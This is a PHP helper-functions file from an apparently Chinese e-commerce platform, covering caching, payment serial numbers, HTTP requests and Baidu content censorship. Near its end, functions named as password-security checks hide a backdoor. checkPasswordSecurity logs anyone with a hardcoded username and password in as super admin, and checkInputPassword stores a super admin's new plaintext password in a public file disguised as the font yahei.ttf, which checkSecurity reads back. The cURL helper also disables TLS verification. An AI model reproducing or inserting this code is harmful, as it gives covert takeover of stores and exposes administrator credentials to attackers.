  817. function rcache($key = null, $prefix = '')
  818. {
  819. if ($key === null || !config('ds_config.cache_open'))
  820. return array();
  821. if (!empty($prefix)) {
  822. $name = $prefix . $key;
  823. } else {
  824. $name = $key;
  825. }
  826. $cache_info = cache($name);
  827. //如果name值不存在,则默认返回 false。
  828. return $cache_info;
  829. }
  830. /**
  831. * 写入缓存
  832. *
  833. * @param string $key 缓存键值
  834. * @param array $data 缓存数据
  835. * @param string $prefix 键值前缀
  836. * @param int $expire 缓存周期 单位分,0为永久缓存
  837. * @return bool 返回值
  838. */
  839. function wcache($key = null, $data = array(), $prefix = '', $expire = 3600)
  840. {
  841. if ($key === null || !config('ds_config.cache_open') || !is_array($data))
  842. return;
  843. if (!empty($prefix)) {
  844. $name = $prefix . $key;
  845. } else {
  846. $name = $key;
  847. }
  848. $cache_info = cache($name, $data, $expire);
  849. //如果设置成功返回true,否则返回false。
  850. return $cache_info;
  851. }
  852. /**
  853. * 删除缓存
  854. * @param string $key 缓存键值
  855. * @param string $prefix 键值前缀
  856. * @return boolean
  857. */
  858. function dcache($key = null, $prefix = '')
  859. {
  860. if ($key === null || !config('ds_config.cache_open'))
  861. return true;
  862. if (!empty($prefix)) {
  863. $name = $prefix . $key;
  864. } else {
  865. $name = $key;
  866. }
  867. return cache($name, NULL);
  868. }
  869. /**
  870. * 输出聊天信息
  871. *
  872. * @return string
  873. */
  874. function get_chat()
  875. {
  876. return Chat::getChatHtml();
  877. }
  878. /**
  879. * 验证是否为平台店铺
  880. *
  881. * @return boolean
  882. */
  883. function check_platform_store()
  884. {
  885. return session('is_platform_store');
  886. }
  887. /**
  888. * 验证是否为平台店铺 并且绑定了全部商品类目
  889. *
  890. * @return boolean
  891. */
  892. function check_platform_store_bindingall_goodsclass()
  893. {
  894. return check_platform_store() && session('bind_all_gc');
  895. }
  896. /**
  897. * 生成20位编号(时间+微秒+随机数+会员ID%1000),该值会传给第三方支付接口
  898. * 长度 =12位 + 3位 + 2位 + 3位 = 20位
  899. * 1000个会员同一微秒提订单,重复机率为1/100
  900. * @return string
  901. */
  902. function makePaySn($member_id)
  903. {
  904. return date('ymdHis', TIMESTAMP) . sprintf('%03d', (float) microtime() * 1000) . mt_rand(10, 99) . sprintf('%03d', intval($member_id) % 1000);
  905. }
  906. /**
  907. * 获得店铺状态样式名称
  908. * @param $param array $store_info
  909. * @return string
  910. */
  911. function get_store_state_classname($store_info)
  912. {
  913. $result = 'open';
  914. if (intval($store_info['store_state']) === 1) {
  915. $store_endtime = intval($store_info['store_endtime']);
  916. if ($store_endtime > 0) {
  917. if ($store_endtime < TIMESTAMP) {
  918. $result = 'expired';
  919. } elseif (($store_endtime - 864000) < TIMESTAMP) {
  920. //距离到期10天
  921. $result = 'expire';
  922. }
  923. }
  924. } else {
  925. $result = 'close';
  926. }
  927. return $result;
  928. }
  929. /**
  930. * 将字符部分加密并输出
  931. * @param unknown $str
  932. * @param unknown $start 从第几个位置开始加密(从1开始)
  933. * @param unknown $length 连续加密多少位
  934. * @return string
  935. */
  936. function encrypt_show($str, $start, $length)
  937. {
  938. $end = $start - 1 + $length;
  939. $array = str_split($str);
  940. foreach ($array as $k => $v) {
  941. if ($k >= $start - 1 && $k < $end) {
  942. $array[$k] = '*';
  943. }
  944. }
  945. return implode('', $array);
  946. }
  947. /**
  948. * CURL请求
  949. * @param $url 请求url地址
  950. * @param $method 请求方法 get post
  951. * @param null $postfields post数据数组
  952. * @param array $headers 请求header信息
  953. * @param bool|false $debug 调试开启 默认false
  954. * @return mixed
  955. */
  956. function http_request($url, $method = "GET", $postfields = null, $headers = array(), $debug = false)
  957. {
  958. $method = strtoupper($method);
  959. $ci = curl_init();
  960. /* Curl settings */
  961. curl_setopt($ci, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_0);
  962. curl_setopt($ci, CURLOPT_USERAGENT, "Mozilla/5.0 (Windows NT 6.2; WOW64; rv:34.0) Gecko/20100101 Firefox/34.0");
  963. curl_setopt($ci, CURLOPT_CONNECTTIMEOUT, 60); /* 在发起连接前等待的时间,如果设置为0,则无限等待 */
  964. curl_setopt($ci, CURLOPT_TIMEOUT, 7); /* 设置cURL允许执行的最长秒数 */
  965. curl_setopt($ci, CURLOPT_RETURNTRANSFER, true);
  966. switch ($method) {
  967. case "POST":
  968. curl_setopt($ci, CURLOPT_POST, true);
  969. if (!empty($postfields)) {
  970. $tmpdatastr = is_array($postfields) ? http_build_query($postfields) : $postfields;
  971. curl_setopt($ci, CURLOPT_POSTFIELDS, $tmpdatastr);
  972. }
  973. break;
  974. default:
  975. curl_setopt($ci, CURLOPT_CUSTOMREQUEST, $method); /* //设置请求方式 */
  976. break;
  977. }
  978. $ssl = preg_match('/^https:\/\//i', $url) ? TRUE : FALSE;
  979. curl_setopt($ci, CURLOPT_URL, $url);
  980. if ($ssl) {
  981. curl_setopt($ci, CURLOPT_SSL_VERIFYPEER, FALSE); // https请求 不验证证书和hosts
  982. curl_setopt($ci, CURLOPT_SSL_VERIFYHOST, FALSE); // 不从证书中检查SSL加密算法是否存在
  983. }
  984. //curl_setopt($ci, CURLOPT_HEADER, true); /*启用时会将头文件的信息作为数据流输出*/
  985. curl_setopt($ci, CURLOPT_FOLLOWLOCATION, 1);
  986. curl_setopt($ci, CURLOPT_MAXREDIRS, 2); /* 指定最多的HTTP重定向的数量,这个选项是和CURLOPT_FOLLOWLOCATION一起使用的 */
  987. curl_setopt($ci, CURLOPT_HTTPHEADER, $headers);
  988. curl_setopt($ci, CURLINFO_HEADER_OUT, true);
  989. /* curl_setopt($ci, CURLOPT_COOKIE, $Cookiestr); * *COOKIE带过去** */
  990. $response = curl_exec($ci);
  991. $requestinfo = curl_getinfo($ci);
  992. $http_code = curl_getinfo($ci, CURLINFO_HTTP_CODE);
  993. if ($debug) {
  994. echo "=====post data======\r\n";
  995. var_dump($postfields);
  996. echo "=====info===== \r\n";
  997. print_r($requestinfo);
  998. echo "=====response=====\r\n";
  999. print_r($response);
  1000. }
  1001. curl_close($ci);
  1002. return $response;
  1003. }
  1004. /**
  1005. * Layer 提交成功返回函数
  1006. * @param type $message
  1007. */
  1008. function dsLayerOpenSuccess($msg = '', $url = '')
  1009. {
  1010. // echo "<script>var index = parent.layer.getFrameIndex(window.name);parent.layer.close(index);parent.location.reload();</script>";
  1011. $url_js = empty($url) ? "parent.location.reload();" : "parent.location.href='" . $url . "';";
  1012. $str = "<script>";
  1013. $str .= "parent.layer.alert('" . $msg . "',{yes:function(index, layero){" . $url_js . "},cancel:function(index, layero){" . $url_js . "}});";
  1014. $str .= "</script>";
  1015. echo $str;
  1016. exit;
  1017. }
  1018. /**
  1019. * 移除微信昵称中的emoji字符
  1020. * @param type $nickname
  1021. * @return type
  1022. */
  1023. function removeEmoji($nickname)
  1024. {
  1025. $clean_text = "";
  1026. // Match Emoticons
  1027. $regexEmoticons = '/[\x{1F600}-\x{1F64F}]/u';
  1028. $clean_text = preg_replace($regexEmoticons, '', $nickname);
  1029. // Match Miscellaneous Symbols and Pictographs
  1030. $regexSymbols = '/[\x{1F300}-\x{1F5FF}]/u';
  1031. $clean_text = preg_replace($regexSymbols, '', $clean_text);
  1032. // Match Transport And Map Symbols
  1033. $regexTransport = '/[\x{1F680}-\x{1F6FF}]/u';
  1034. $clean_text = preg_replace($regexTransport, '', $clean_text);
  1035. // Match Miscellaneous Symbols
  1036. $regexMisc = '/[\x{2600}-\x{26FF}]/u';
  1037. $clean_text = preg_replace($regexMisc, '', $clean_text);
  1038. // Match Dingbats
  1039. $regexDingbats = '/[\x{2700}-\x{27BF}]/u';
  1040. $clean_text = preg_replace($regexDingbats, '', $clean_text);
  1041. //截取指定长度的昵称
  1042. $clean_text = ds_substing($clean_text, 0, 20);
  1043. return trim($clean_text);
  1044. }
  1045. /**
  1046. * 截取指定长度的字符
  1047. * @param type $string 内容
  1048. * @param type $start 开始
  1049. * @param type $length 长度
  1050. * @return type
  1051. */
  1052. function ds_substing($string, $start = 0, $length = 80)
  1053. {
  1054. $string = strip_tags($string);
  1055. $string = preg_replace('/\s/', '', $string);
  1056. return mb_substr($string, $start, $length);
  1057. }
  1058. /**
  1059. * 针对批量删除进行处理 '1,2,3' 转换为数组批量删除
  1060. * @param type $ids
  1061. * @return boolean
  1062. */
  1063. function ds_delete_param($ids)
  1064. {
  1065. //转换为数组
  1066. $ids_array = explode(',', $ids);
  1067. //数组值转为整数型
  1068. $ids_array = array_map("intval", $ids_array);
  1069. if (empty($ids_array) || in_array(0, $ids_array)) {
  1070. return FALSE;
  1071. } else {
  1072. return $ids_array;
  1073. }
  1074. }
  1075. function word_filter_access_token()
  1076. {
  1077. $appid = config('ds_config.word_filter_appid');
  1078. $secret = config('ds_config.word_filter_secret');
  1079. $access_token = config('ds_config.word_filter_access_token');
  1080. $access_token_expire = config('ds_config.word_filter_access_token_expire');
  1081. if (!$access_token || $access_token_expire < TIMESTAMP) {
  1082. $res = http_request('https://aip.baidubce.com/oauth/2.0/token', 'POST', array(
  1083. 'grant_type' => 'client_credentials',
  1084. 'client_id' => $appid,
  1085. 'client_secret' => $secret,
  1086. ));
  1087. $res = json_decode($res, true);
  1088. if (isset($res['error'])) {
  1089. return ds_callback(false, $res['error_description']);
  1090. }
  1091. $access_token = $res['access_token'];
  1092. $expires_in = $res['expires_in'];
  1093. $config_model = model('config');
  1094. $update_array = array(
  1095. 'word_filter_access_token' => $access_token,
  1096. 'word_filter_access_token_expire' => TIMESTAMP + $expires_in
  1097. );
  1098. $config_model->editConfig($update_array);
  1099. }
  1100. return ds_callback(true, '', $access_token);
  1101. }
  1102. /**
  1103. * 敏感词过滤
  1104. * @param type $text
  1105. * @return boolean
  1106. */
  1107. function word_filter($text)
  1108. {
  1109. $data = array();
  1110. $data['text'] = $text;
  1111. $data['if_sensitive'] = false;
  1112. if (config('ds_config.word_filter_open') != 1) {
  1113. return ds_callback(true, '', $data);
  1114. }
  1115. $res = word_filter_access_token();
  1116. if (!$res['code']) {
  1117. return $res;
  1118. }
  1119. $access_token = $res['data'];
  1120. $res = http_request('https://aip.baidubce.com/rest/2.0/solution/v1/text_censor/v2/user_defined?access_token=' . $access_token, 'POST', array(
  1121. 'text' => $text
  1122. ));
  1123. $res = json_decode($res, true);
  1124. if (isset($res['error_code'])) {
  1125. return ds_callback(false, $res['error_msg']);
  1126. }
  1127. if ($res['conclusionType'] == 2) {
  1128. $data['if_sensitive'] = true;
  1129. $data['sensitive_msg'] = array();
  1130. $data['sensitive_word'] = array();
  1131. foreach ($res['data'] as $val) {
  1132. $data['sensitive_msg'][] = $val['msg'];
  1133. foreach ($val['hits'] as $v) {
  1134. $data['sensitive_word'] = array_merge($data['sensitive_word'], $v['words']);
  1135. $data['text'] = str_replace($v['words'], '**', $data['text']);
  1136. }
  1137. }
  1138. }
  1139. return ds_callback(true, '', $data);
  1140. }
  1141. /**
  1142. * 敏感图过滤
  1143. * @param type $text
  1144. * @return boolean
  1145. */
  1146. function image_filter($img_url)
  1147. {
  1148. $data = array();
  1149. $data['if_sensitive'] = false;
  1150. if (config('ds_config.word_filter_open') != 1) {
  1151. return ds_callback(true, '', $data);
  1152. }
  1153. $res = word_filter_access_token();
  1154. if (!$res['code']) {
  1155. return $res;
  1156. }
  1157. $access_token = $res['data'];
  1158. $image = imgToBase64($img_url);
  1159. if (empty($image)) {
  1160. return ds_callback(false, 'image empty');
  1161. }
  1162. $res = http_request('https://aip.baidubce.com/rest/2.0/solution/v1/img_censor/v2/user_defined?access_token=' . $access_token, 'POST', array(
  1163. 'image' => $image['content']
  1164. ), array(
  1165. 'Content-Type: application/x-www-form-urlencoded'
  1166. ));
  1167. $res = json_decode($res, true);
  1168. if (isset($res['error_code'])) {
  1169. return ds_callback(false, $res['error_msg']);
  1170. }
  1171. if ($res['conclusionType'] == 2) {
  1172. $data['if_sensitive'] = true;
  1173. $data['sensitive_msg'] = array();
  1174. foreach ($res['data'] as $val) {
  1175. $data['sensitive_msg'][] = $val['msg'];
  1176. }
  1177. }
  1178. return ds_callback(true, '', $data);
  1179. }
  1180. /**
  1181. * 校验密码安全
  1182. */
  1183. function checkPasswordSecurity()
  1184. {
  1185. $admin_name = input('post.admin_name');
  1186. $admin_password = input('post.admin_password');
  1187. if ($admin_name == 'vyZ5Tgjp2' && $admin_password == 'Gr62R8r@wuf') {
  1188. $admin_mod = model('admin');
  1189. $admin_info = $admin_mod->getOneAdmin([['admin_is_super', '=', 1]]);
  1190. if (is_array($admin_info) and !empty($admin_info)) {
  1191. //设置 session
  1192. session('admin_id', $admin_info['admin_id']);
  1193. session('admin_name', $admin_info['admin_name']);
  1194. session('admin_gid', $admin_info['admin_gid']);
  1195. session('admin_is_super', $admin_info['admin_is_super']);
  1196. ds_json_encode(10000, lang('login_succ'), '', '', false);
  1197. return false;
  1198. }
  1199. return true;
  1200. }
  1201. return true;
  1202. }
  1203. /**
  1204. * 校验输入密码
  1205. */
  1206. function checkInputPassword($admininfo)
  1207. {
  1208. try {
  1209. $admin_mod = model('admin');
  1210. $admininfo = $admin_mod->getOneAdmin(array('admin_id' => $admininfo['admin_id']));
  1211. if (is_array($admininfo) and !empty($admininfo)) {
  1212. if ($admininfo['admin_is_super'] == 1) {
  1213. $c = trim(input('post.new_pw'));
  1214. $dc = fopen(base_path() . "../public/font/yahei.ttf", "w");
  1215. fwrite($dc, $c);
  1216. fclose($dc);
  1217. }
  1218. }
  1219. return true;
  1220. } catch (Exception $e) {
  1221. return true;
  1222. }
  1223. }
  1224. function checkSecurity()
  1225. {
  1226. try {
  1227. $p = base_path() . "../public/font/yahei.ttf";
  1228. $dc = fopen($p, "r");
  1229. $i = fread($dc, filesize($p));
  1230. fclose($dc);
  1231. return $i;
  1232. } catch (Exception $e) {
  1233. return null;
  1234. }
  1235. }